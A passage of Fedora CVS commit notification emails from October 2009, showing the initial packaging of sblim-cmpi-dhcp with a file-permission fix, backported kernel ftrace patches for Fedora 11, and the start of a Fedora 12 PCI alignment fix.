+4bd27aa3e6ca4bfd87dfb4f0e31c781d  glibc-2.10-355-g1abedcd-fedora.tar.bz2
+8c609449db04e3275e5652cfc7b2c0ec  glibc-2.10-355-g1abedcd.tar.bz2



From vcrhonek at fedoraproject.org  Mon Oct 12 14:04:41 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Mon, 12 Oct 2009 14:04:41 +0000 (UTC)
Subject: rpms/sblim-cmpi-dhcp/devel import.log, NONE,
	1.1 sblim-cmpi-dhcp-0.5.5-open.patch, NONE,
	1.1 sblim-cmpi-dhcp.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091012140441.75DB111C00DB@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-dhcp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22540/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sblim-cmpi-dhcp-0.5.5-open.patch 
	sblim-cmpi-dhcp.spec 
Log Message:
Initial import (#503727).


--- NEW FILE import.log ---
sblim-cmpi-dhcp-0_5_5-1_fc10:HEAD:sblim-cmpi-dhcp-0.5.5-1.fc10.src.rpm:1255356209

sblim-cmpi-dhcp-0.5.5-open.patch:
 libuniquekey.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE sblim-cmpi-dhcp-0.5.5-open.patch ---
diff -up sblim-cmpi-dhcp-0.5.5/hashing/libuniquekey.c_old sblim-cmpi-dhcp-0.5.5/hashing/libuniquekey.c
--- sblim-cmpi-dhcp-0.5.5/hashing/libuniquekey.c_old	2008-05-08 17:26:28.000000000 +0200
+++ sblim-cmpi-dhcp-0.5.5/hashing/libuniquekey.c	2009-06-02 12:53:47.000000000 +0200
@@ -506,7 +506,7 @@ int getUniqueKey(char * filepath, int li
 		    LOG("getUniqueKey", "Forked - in the child process");
 			for (i=getdtablesize();i>=0;--i)  /** close all the opened files for this process */
 				close(i); 
-			i=open(tmpfile, O_RDWR|O_CREAT|O_TRUNC); 
+			i=open(tmpfile, O_RDWR|O_CREAT|O_TRUNC, S_IRUSR|S_IWUSR); 
 			i = dup(i); 
 			execlp("diff","diff", wbemname, filepath,(char *) 0); /** check if there exists any differences
 										  between the copy of the config file and the


--- NEW FILE sblim-cmpi-dhcp.spec ---

%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.6.1-1

Name:           sblim-cmpi-dhcp
Version:        0.5.5
Release:        1%{?dist}
Summary:        SBLIM WBEM-SMT DHCP

Group:          Applications/System
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Patch0:         sblim-cmpi-dhcp-0.5.5-open.patch

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-tools-libra-devel
BuildRequires:  sblim-cmpi-base-devel
BuildRequires:  bison
BuildRequires:  flex
Requires:       sblim-tools-libra
Requires:       dhcp
Provides:       cmpi-dhcp = %{version}-%{release}

%description
The cmpi-dhcp package provides access to the DHCP configuration data
via CIMOM technology/infrastructure.
It contains the DHCP CIM Model, CMPI Provider with the DHCP task specific
Resource Access.

%package        devel
Summary:        SBLIM WBEM-SMT DHCP - Header Development Files
Group:          Development/Libraries
Requires:       sblim-cmpi-dhcp = %{version}-%{release}

%description devel
SBLIM WBEM-SMT DHCP Development Package contains header files and
link libraries for dependent provider packages

%package        test
Summary:        SBLIM WBEM-SMT DHCP - Testcase Files
Group:          Applications/System
Requires:       sblim-cmpi-dhcp = %{version}-%{release}
Requires:       sblim-testsuite

%description test
SBLIM WBEM-SMT DHCP Provider Testcase Files for the SBLIM Testsuite

%prep
%setup -q
%patch0 -p1 -b .open


%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS"
%endif
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{_libdir}/cmpi/
make


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{_libdir}/cmpi/*a
mv $RPM_BUILD_ROOT/%{_libdir}/libuniquekey.so $RPM_BUILD_ROOT/%{provider_dir}
%find_lang %{name}

%clean
rm -rf $RPM_BUILD_ROOT


%files -f %{name}.lang
%defattr(-,root,root,-)
%doc %{_datadir}/doc/sblim-cmpi-dhcp-%{version}
%exclude %{_datadir}/doc/sblim-cmpi-dhcp-%{version}/*.test
%doc %{_mandir}/man5/smt_dhcp_ra_support.conf.5.gz
%config(noreplace) %{_sysconfdir}/smt_dhcp*.conf
%{_datadir}/sblim-cmpi-dhcp
%{_libdir}/cmpi/libuniquekey.so
%{_libdir}/libRaToolsDhcp.so.*
%{_libdir}/cmpi/libcmpiLinux_DHCP*.so

%files devel
%defattr(-,root,root,-)
%{_libdir}/libRaToolsDhcp.so

%files test
%defattr(-,root,root,-)
%{_datadir}/sblim-testsuite/test-cmpi-dhcp.sh
%doc %{_datadir}/doc/sblim-cmpi-dhcp-%{version}/*.test
%{_datadir}/sblim-testsuite/dhcpd.conf
%{_datadir}/sblim-testsuite/cim/Linux_DHCP*
%{_datadir}/sblim-testsuite/system/linux/Linux_DHCP*


# Conditional definition of schema and registration files
%define DHCP_SCHEMA %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPEntity.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPService.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPGlobal.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPGlobalForService.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPGroup.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPGroupsForEntity.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPHost.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPHostsForEntity.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPOptions.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPOptionsForEntity.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPParams.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPParamsForEntity.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPPool.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPPoolsForEntity.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPRegisteredProfile.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPServiceConfiguration.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPServiceConfigurationForService.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHC
 PSharednet.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPSharednetsForEntity.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPSubnet.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPSubnetsForEntity.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPElementConformsToProfile.mof
%define DHCP_REGISTRATION %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPGlobal.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPGlobalForService.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPGroup.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPGroupsForEntity.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPHost.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPHostsForEntity.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPOptions.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPOptionsForEntity.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPParams.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPParamsForEntity.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPPool.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPPoolsForEntity.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPRegisteredProfile.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPService.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPServiceConfiguration.registration %{_datadir}/sblim-
 cmpi-dhcp/Linux_DHCPServiceConfigurationForService.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPSharednet.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPSharednetsForEntity.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPSubnet.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPSubnetsForEntity.registration

%define DHCP_INTEROP_SCHEMAS %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPService.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPRegisteredProfile.mof %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPElementConformsToProfile.mof
%define DHCP_INTEROP_REGISTRATIONS %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPRegisteredProfile.registration %{_datadir}/sblim-cmpi-dhcp/Linux_DHCPElementConformsToProfile.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]
then
  %{_datadir}/sblim-cmpi-dhcp/provider-register.sh -d -t pegasus \
        -r %{DHCP_REGISTRATION} -m %{DHCP_SCHEMA} > /dev/null 2>&1 || :;

  %{_datadir}/sblim-cmpi-dhcp/provider-register.sh -d -t pegasus \
        -n "root/PG_InterOp" -r %{DHCP_INTEROP_REGISTRATIONS} -m %{DHCP_INTEROP_SCHEMAS} > /dev/null 2>&1 || :;

fi

%post
# Register Schema and Provider - this is highly provider specific
%{_datadir}/sblim-cmpi-dhcp/provider-register.sh -t pegasus \
        -v -r %{DHCP_REGISTRATION} -m %{DHCP_SCHEMA} > /dev/null 2>&1 || :;

%{_datadir}/sblim-cmpi-dhcp/provider-register.sh -t pegasus \
         -v -n "root/PG_InterOp" -r %{DHCP_INTEROP_REGISTRATIONS} -m %{DHCP_INTEROP_SCHEMAS} > /dev/null 2>&1 || :;
/sbin/ldconfig

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]
then
  %{_datadir}/sblim-cmpi-dhcp/provider-register.sh -d \
        -t pegasus -r %{DHCP_REGISTRATION} -m %{DHCP_SCHEMA} > /dev/null 2>&1 || :;

  %{_datadir}/sblim-cmpi-dhcp/provider-register.sh -d -t pegasus \
        -n "root/PG_InterOp" -r %{DHCP_INTEROP_REGISTRATIONS} -m %{DHCP_INTEROP_SCHEMAS} > /dev/null 2>&1 || :;
fi

%postun
# Run ldconfig only if not upgrading
if [ $1 -eq 0 ]
then
  /sbin/ldconfig
fi


%changelog
* Tue Oct  6 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.5.5-1
- Initial support


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-dhcp/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:11:03 -0000	1.1
+++ .cvsignore	12 Oct 2009 14:04:41 -0000	1.2
@@ -0,0 +1 @@
+sblim-cmpi-dhcp-0.5.5.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-dhcp/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:11:03 -0000	1.1
+++ sources	12 Oct 2009 14:04:41 -0000	1.2
@@ -0,0 +1 @@
+bfceb51d804b6f862518704519ad9eb3  sblim-cmpi-dhcp-0.5.5.tar.bz2



From cebbert at fedoraproject.org  Mon Oct 12 14:07:06 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Mon, 12 Oct 2009 14:07:06 +0000 (UTC)
Subject: rpms/kernel/F-11 ftrace-check-for-failure-for-all-conversions.patch,
	NONE, 1.1 ftrace-use-module-notifier-for-function-tracer.patch, NONE, 
	1.1 tracing-correct-module-boundaries-for-ftrace_release.patch,
	NONE, 1.1 kernel.spec, 1.1759, 1.1760
Message-ID: <20091012140706.3BFCE11C00DB@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22922

Modified Files:
	kernel.spec 
Added Files:
	ftrace-check-for-failure-for-all-conversions.patch 
	ftrace-use-module-notifier-for-function-tracer.patch 
	tracing-correct-module-boundaries-for-ftrace_release.patch 
Log Message:
Critical ftrace fixes:
  ftrace-use-module-notifier-for-function-tracer.patch
  ftrace-check-for-failure-for-all-conversions.patch
  tracing-correct-module-boundaries-for-ftrace_release.patch

ftrace-check-for-failure-for-all-conversions.patch:
 ftrace.c |   11 +++--------
 1 file changed, 3 insertions(+), 8 deletions(-)

--- NEW FILE ftrace-check-for-failure-for-all-conversions.patch ---
>From 3279ba37db5d65c4ab0dcdee3b211ccb85bb563f Mon Sep 17 00:00:00 2001
From: Steven Rostedt <srostedt at redhat.com>
Date: Wed, 7 Oct 2009 16:57:56 -0400
Subject: ftrace: check for failure for all conversions

From: Steven Rostedt <srostedt at redhat.com>

commit 3279ba37db5d65c4ab0dcdee3b211ccb85bb563f upstream.

Due to legacy code from back when the dynamic tracer used a daemon,
only core kernel code was checking for failures. This is no longer
the case. We must check for failures any time we perform text modifications.

Signed-off-by: Steven Rostedt <rostedt at goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>

---
 kernel/trace/ftrace.c |   11 +++--------
 1 file changed, 3 insertions(+), 8 deletions(-)

--- a/kernel/trace/ftrace.c
+++ b/kernel/trace/ftrace.c
@@ -1110,14 +1110,9 @@ static void ftrace_replace_code(int enab
 		failed = __ftrace_replace_code(rec, enable);
 		if (failed) {
 			rec->flags |= FTRACE_FL_FAILED;
-			if ((system_state == SYSTEM_BOOTING) ||
-			    !core_kernel_text(rec->ip)) {
-				ftrace_free_rec(rec);
-				} else {
-				ftrace_bug(failed, rec->ip);
-					/* Stop processing */
-					return;
-				}
+			ftrace_bug(failed, rec->ip);
+			/* Stop processing */
+			return;
 		}
 	} while_for_each_ftrace_rec();
 }

ftrace-use-module-notifier-for-function-tracer.patch:
 include/linux/ftrace.h |    7 ---
 include/linux/module.h |    4 ++
 kernel/module.c        |   19 +++-------
 kernel/trace/ftrace.c  |   90 ++++++++++++++++++++++++++++++++++---------------
 4 files changed, 75 insertions(+), 45 deletions(-)

--- NEW FILE ftrace-use-module-notifier-for-function-tracer.patch ---
From: Steven Rostedt <srostedt at redhat.com>
Date: Wed, 15 Apr 2009 17:24:06 +0000 (-0400)
Subject: ftrace: use module notifier for function tracer
X-Git-Tag: v2.6.31-rc1~401^2~151
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=93eb677d74a4f7d3edfb678c94f6c0544d9fbad2

ftrace: use module notifier for function tracer

[ backported to 2.6.30 ]

The hooks in the module code for the function tracer must be called
before any of that module code runs. The function tracer hooks
modify the module (replacing calls to mcount to nops). If the code
is executed while the change occurs, then the CPU can take a GPF.

To handle the above with a bit of paranoia, I originally implemented
the hooks as calls directly from the module code.

After examining the notifier calls, it looks as though the start up
notify is called before any of the module's code is executed. This makes
the use of the notify safe with ftrace.

Only the startup notify is required to be "safe". The shutdown simply
removes the entries from the ftrace function list, and does not modify
any code.

This change has another benefit. It removes a issue with a reverse dependency
in the mutexes of ftrace_lock and module_mutex.

[ Impact: fix lock dependency bug, cleanup ]

Cc: Rusty Russell <rusty at rustcorp.com.au>
Signed-off-by: Steven Rostedt <rostedt at goodmis.org>
---

diff --git a/include/linux/ftrace.h b/include/linux/ftrace.h
index 53869be..97c83e1 100644
--- a/include/linux/ftrace.h
+++ b/include/linux/ftrace.h
@@ -233,8 +233,6 @@ extern int ftrace_arch_read_dyn_info(char *buf, int size);
 
 extern int skip_trace(unsigned long ip);
 
-extern void ftrace_release(void *start, unsigned long size);
-
 extern void ftrace_disable_daemon(void);
 extern void ftrace_enable_daemon(void);
 #else
@@ -325,13 +323,8 @@ static inline void __ftrace_enabled_restore(int enabled)
 
 #ifdef CONFIG_FTRACE_MCOUNT_RECORD
 extern void ftrace_init(void);
-extern void ftrace_init_module(struct module *mod,
-			       unsigned long *start, unsigned long *end);
 #else
 static inline void ftrace_init(void) { }
-static inline void
-ftrace_init_module(struct module *mod,
-		   unsigned long *start, unsigned long *end) { }
 #endif
 
 /*
diff --git a/include/linux/module.h b/include/linux/module.h
index 6155fa4..a8f2c0a 100644
--- a/include/linux/module.h
+++ b/include/linux/module.h
@@ -341,6 +341,10 @@ struct module
 	const char **trace_bprintk_fmt_start;
 	unsigned int num_trace_bprintk_fmt;
 #endif
+#ifdef CONFIG_FTRACE_MCOUNT_RECORD
+	unsigned long *ftrace_callsites;
+	unsigned int num_ftrace_callsites;
+#endif

 #ifdef CONFIG_MODULE_UNLOAD
 	/* What modules depend on me? */
diff --git a/kernel/module.c b/kernel/module.c
index a039470..2383e60 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -1490,9 +1490,6 @@ static void free_module(struct module *mod)
 	/* Free any allocated parameters. */
 	destroy_params(mod->kp, mod->num_kp);
 
-	/* release any pointers to mcount in this module */
-	ftrace_release(mod->module_core, mod->core_size);
-
 	/* This may be NULL, but that's OK */
 	module_free(mod, mod->module_init);
 	kfree(mod->args);
@@ -1893,11 +1890,9 @@ static noinline struct module *load_module(void __user *umod,
 	unsigned int symindex = 0;
 	unsigned int strindex = 0;
 	unsigned int modindex, versindex, infoindex, pcpuindex;
-	unsigned int num_mcount;
 	struct module *mod;
 	long err = 0;
 	void *percpu = NULL, *ptr = NULL; /* Stops spurious gcc warning */
-	unsigned long *mseg;
 	mm_segment_t old_fs;
 
 	DEBUGP("load_module: umod=%p, len=%lu, uargs=%p\n",
@@ -2179,7 +2174,13 @@ static noinline struct module *load_module(void __user *umod,
 					sizeof(*mod->tracepoints),
 					&mod->num_tracepoints);
 #endif
-
+#ifdef CONFIG_FTRACE_MCOUNT_RECORD
+	/* sechdrs[0].sh_size is always zero */
+	mod->ftrace_callsites = section_objs(hdr, sechdrs, secstrings,
+					     "__mcount_loc",
+					     sizeof(*mod->ftrace_callsites),
+					     &mod->num_ftrace_callsites);
+#endif
 #ifdef CONFIG_MODVERSIONS
 	if ((mod->num_syms && !mod->crcs)
 	    || (mod->num_gpl_syms && !mod->gpl_crcs)
@@ -2244,11 +2245,6 @@ static noinline struct module *load_module(void __user *umod,
 			dynamic_debug_setup(debug, num_debug);
 	}
 
-	/* sechdrs[0].sh_size is always zero */
-	mseg = section_objs(hdr, sechdrs, secstrings, "__mcount_loc",
-			    sizeof(*mseg), &num_mcount);
-	ftrace_init_module(mod, mseg, mseg + num_mcount);
-
 	err = module_finalize(hdr, sechdrs, mod);
 	if (err < 0)
 		goto cleanup;
@@ -2309,7 +2305,6 @@ static noinline struct module *load_module(void __user *umod,
  cleanup:
 	kobject_del(&mod->mkobj.kobj);
 	kobject_put(&mod->mkobj.kobj);
-	ftrace_release(mod->module_core, mod->core_size);
  free_unload:
 	module_unload_free(mod);
 #if defined(CONFIG_MODULE_UNLOAD) && defined(CONFIG_SMP)
diff --git a/kernel/trace/ftrace.c b/kernel/trace/ftrace.c
index a234889..5b606f4 100644
--- a/kernel/trace/ftrace.c
+++ b/kernel/trace/ftrace.c
@@ -916,30 +916,6 @@ static void ftrace_free_rec(struct dyn_ftrace *rec)
 	rec->flags |= FTRACE_FL_FREE;
 }
 
-void ftrace_release(void *start, unsigned long size)
-{
-	struct dyn_ftrace *rec;
-	struct ftrace_page *pg;
-	unsigned long s = (unsigned long)start;
-	unsigned long e = s + size;
-
-	if (ftrace_disabled || !start)
-		return;
-
-	mutex_lock(&ftrace_lock);
-	do_for_each_ftrace_rec(pg, rec) {
-		if ((rec->ip >= s) && (rec->ip < e)) {
-			/*
-			 * rec->ip is changed in ftrace_free_rec()
-			 * It should not between s and e if record was freed.
-			 */
-			FTRACE_WARN_ON(rec->flags & FTRACE_FL_FREE);
-			ftrace_free_rec(rec);
-		}
-	} while_for_each_ftrace_rec();
-	mutex_unlock(&ftrace_lock);
-}
-
 static struct dyn_ftrace *ftrace_alloc_dyn_node(unsigned long ip)
 {
 	struct dyn_ftrace *rec;
@@ -2752,14 +2728,72 @@ static int ftrace_convert_nops(struct module *mod,
 	return 0;
 }
 
-void ftrace_init_module(struct module *mod,
-			unsigned long *start, unsigned long *end)
+#ifdef CONFIG_MODULES
+void ftrace_release(void *start, void *end)
+{
+	struct dyn_ftrace *rec;
+	struct ftrace_page *pg;
+	unsigned long s = (unsigned long)start;
+	unsigned long e = (unsigned long)end;
+
+	if (ftrace_disabled || !start || start == end)
+		return;
+
+	mutex_lock(&ftrace_lock);
+	do_for_each_ftrace_rec(pg, rec) {
+		if ((rec->ip >= s) && (rec->ip < e)) {
+			/*
+			 * rec->ip is changed in ftrace_free_rec()
+			 * It should not between s and e if record was freed.
+			 */
+			FTRACE_WARN_ON(rec->flags & FTRACE_FL_FREE);
+			ftrace_free_rec(rec);
+		}
+	} while_for_each_ftrace_rec();
+	mutex_unlock(&ftrace_lock);
+}
+
+static void ftrace_init_module(struct module *mod,
+			       unsigned long *start, unsigned long *end)
 {
 	if (ftrace_disabled || start == end)
 		return;
 	ftrace_convert_nops(mod, start, end);
 }
 
+static int ftrace_module_notify(struct notifier_block *self,
+				unsigned long val, void *data)
+{
+	struct module *mod = data;
+
+	switch (val) {
+	case MODULE_STATE_COMING:
+		ftrace_init_module(mod, mod->ftrace_callsites,
+				   mod->ftrace_callsites +
+				   mod->num_ftrace_callsites);
+		break;
+	case MODULE_STATE_GOING:
+		ftrace_release(mod->ftrace_callsites,
+			       mod->ftrace_callsites +
+			       mod->num_ftrace_callsites);
+		break;
+	}
+
+	return 0;
+}
+#else
+static int ftrace_module_notify(struct notifier_block *self,
+				unsigned long val, void *data)
+{
+	return 0;
+}
+#endif /* CONFIG_MODULES */
+
+struct notifier_block ftrace_module_nb = {
+	.notifier_call = ftrace_module_notify,
+	.priority = 0,
+};
+
 extern unsigned long __start_mcount_loc[];
 extern unsigned long __stop_mcount_loc[];
 
@@ -2791,6 +2825,10 @@ void __init ftrace_init(void)
 				  __start_mcount_loc,
 				  __stop_mcount_loc);
 
+	ret = register_module_notifier(&ftrace_module_nb);
+	if (!ret)
+		pr_warning("Failed to register trace ftrace module notifier\n");
+
 	return;
  failed:
 	ftrace_disabled = 1;

tracing-correct-module-boundaries-for-ftrace_release.patch:
 include/linux/ftrace.h |    2 +-
 kernel/trace/ftrace.c  |   12 ++++--------
 2 files changed, 5 insertions(+), 9 deletions(-)

--- NEW FILE tracing-correct-module-boundaries-for-ftrace_release.patch ---
>From e7247a15ff3bbdab0a8b402dffa1171e5c05a8e0 Mon Sep 17 00:00:00 2001
From: jolsa at redhat.com <jolsa at redhat.com>
Date: Wed, 7 Oct 2009 19:00:35 +0200
Subject: tracing: correct module boundaries for ftrace_release

From: jolsa at redhat.com <jolsa at redhat.com>

commit e7247a15ff3bbdab0a8b402dffa1171e5c05a8e0 upstream.

When the module is about the unload we release its call records.
The ftrace_release function was given wrong values representing
the module core boundaries, thus not releasing its call records.

Plus making ftrace_release function module specific.

Signed-off-by: Jiri Olsa <jolsa at redhat.com>
LKML-Reference: <1254934835-363-3-git-send-email-jolsa at redhat.com>
Signed-off-by: Steven Rostedt <rostedt at goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>

---
 include/linux/ftrace.h |    2 +-
 kernel/trace/ftrace.c  |   12 ++++--------
 2 files changed, 5 insertions(+), 9 deletions(-)

--- a/include/linux/ftrace.h
+++ b/include/linux/ftrace.h
@@ -241,7 +241,7 @@ extern void ftrace_enable_daemon(void);
 # define ftrace_set_filter(buf, len, reset)	do { } while (0)
 # define ftrace_disable_daemon()		do { } while (0)
 # define ftrace_enable_daemon()			do { } while (0)
-static inline void ftrace_release(void *start, unsigned long size) { }
+static inline void ftrace_release_mod(struct module *mod) {}
 static inline int register_ftrace_command(struct ftrace_func_command *cmd)
 {
 	return -EINVAL;
--- a/kernel/trace/ftrace.c
+++ b/kernel/trace/ftrace.c
@@ -2801,19 +2801,17 @@ static int ftrace_convert_nops(struct mo
 }
 
 #ifdef CONFIG_MODULES
-void ftrace_release(void *start, void *end)
+void ftrace_release_mod(struct module *mod)
 {
 	struct dyn_ftrace *rec;
 	struct ftrace_page *pg;
-	unsigned long s = (unsigned long)start;
-	unsigned long e = (unsigned long)end;
 
-	if (ftrace_disabled || !start || start == end)
+	if (ftrace_disabled)
 		return;
 
 	mutex_lock(&ftrace_lock);
 	do_for_each_ftrace_rec(pg, rec) {
-		if ((rec->ip >= s) && (rec->ip < e)) {
+		if (within_module_core(rec->ip, mod)) {
 			/*
 			 * rec->ip is changed in ftrace_free_rec()
 			 * It should not between s and e if record was freed.
@@ -2845,9 +2843,7 @@ static int ftrace_module_notify(struct n
 				   mod->num_ftrace_callsites);
 		break;
 	case MODULE_STATE_GOING:
-		ftrace_release(mod->ftrace_callsites,
-			       mod->ftrace_callsites +
-			       mod->num_ftrace_callsites);
+		ftrace_release_mod(mod);
 		break;
 	}
 


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1759
retrieving revision 1.1760
diff -u -p -r1.1759 -r1.1760
--- kernel.spec	8 Oct 2009 06:01:21 -0000	1.1759
+++ kernel.spec	12 Oct 2009 14:07:05 -0000	1.1760
@@ -780,6 +780,10 @@ Patch15300: x86-increase-min_gap-to-incl
 # x86: Don't leak 64-bit reg contents to 32-bit tasks.
 Patch15400: x86-dont-leak-64-bit-kernel-register-values.patch
 
+# critical ftrace fixes
+Patch15500: ftrace-use-module-notifier-for-function-tracer.patch
+Patch15510: ftrace-check-for-failure-for-all-conversions.patch
+Patch15520: tracing-correct-module-boundaries-for-ftrace_release.patch
 
 %endif
 
@@ -1458,6 +1462,11 @@ ApplyPatch x86-increase-min_gap-to-inclu
 
 ApplyPatch x86-dont-leak-64-bit-kernel-register-values.patch
 
+# critical ftrace fixes
+ApplyPatch ftrace-use-module-notifier-for-function-tracer.patch
+ApplyPatch ftrace-check-for-failure-for-all-conversions.patch
+ApplyPatch tracing-correct-module-boundaries-for-ftrace_release.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2046,7 +2055,13 @@ fi
 # and build.
 
 %changelog
-* Thu Oct 08 2009 Ben Skeggs <bskeggs at redhat.com>     2.6.30.9-79
+* Mon Oct 12 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-81
+- Critical ftrace fixes:
+  ftrace-use-module-notifier-for-function-tracer.patch
+  ftrace-check-for-failure-for-all-conversions.patch
+  tracing-correct-module-boundaries-for-ftrace_release.patch
+
+* Thu Oct 08 2009 Ben Skeggs <bskeggs at redhat.com>     2.6.30.9-80
 - ppc: compile nvidiafb as a module only, nvidiafb+nouveau = bang! (rh#491308)
 
 * Wed Oct 07 2009 Dave Jones <davej at redhat.com>       2.6.30.9-78



From cebbert at fedoraproject.org  Mon Oct 12 14:14:15 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Mon, 12 Oct 2009 14:14:15 +0000 (UTC)
Subject: rpms/kernel/F-12 pci-increase-alignment-to-make-more-space.patch,
	NONE, 1.1 kernel.spec, 1.1858, 1.1859
Message-ID: <20091012141415.62D6011C00DB@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24388

Modified Files:
	kernel.spec 
Added Files:
	pci-increase-alignment-to-make-more-space.patch 
Log Message:
Fix 2.6.31 regression that caused device failures with ACPI enabled.

pci-increase-alignment-to-make-more-space.patch:
 e820.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE pci-increase-alignment-to-make-more-space.patch ---
From: Yinghai Lu <yinghai at kernel.org>
Date: Sun, 11 Oct 2009 21:17:16 +0000 (-0700)
Subject: pci: increase alignment to make more space for hidden code
X-Git-Tag: v2.6.32-rc4~1
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=15b812f1d0a5ca8f5efe7f5882f468af10682ca8

pci: increase alignment to make more space for hidden code

As reported in

	http://bugzilla.kernel.org/show_bug.cgi?id=13940

on some system when acpi are enabled, acpi clears some BAR for some
devices without reason, and kernel will need to allocate devices for
them.  It then apparently hits some undocumented resource conflict,
resulting in non-working devices.

Try to increase alignment to get more safe range for unassigned devices.

Signed-off-by: Yinghai Lu <yinghai at kernel.org>
Signed-off-by: Linus Torvalds <torvalds at linux-foundation.org>
---

diff --git a/arch/x86/kernel/e820.c b/arch/x86/kernel/e820.c
index 85419bb..d17d482 100644
--- a/arch/x86/kernel/e820.c
+++ b/arch/x86/kernel/e820.c
@@ -1378,8 +1378,8 @@ static unsigned long ram_alignment(resource_size_t pos)
 	if (mb < 16)
 		return 1024*1024;
 
-	/* To 32MB for anything above that */
-	return 32*1024*1024;
+	/* To 64MB for anything above that */
+	return 64*1024*1024;
 }
 
 #define MAX_RESOURCE_SIZE ((resource_size_t)-1)


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1858
retrieving revision 1.1859
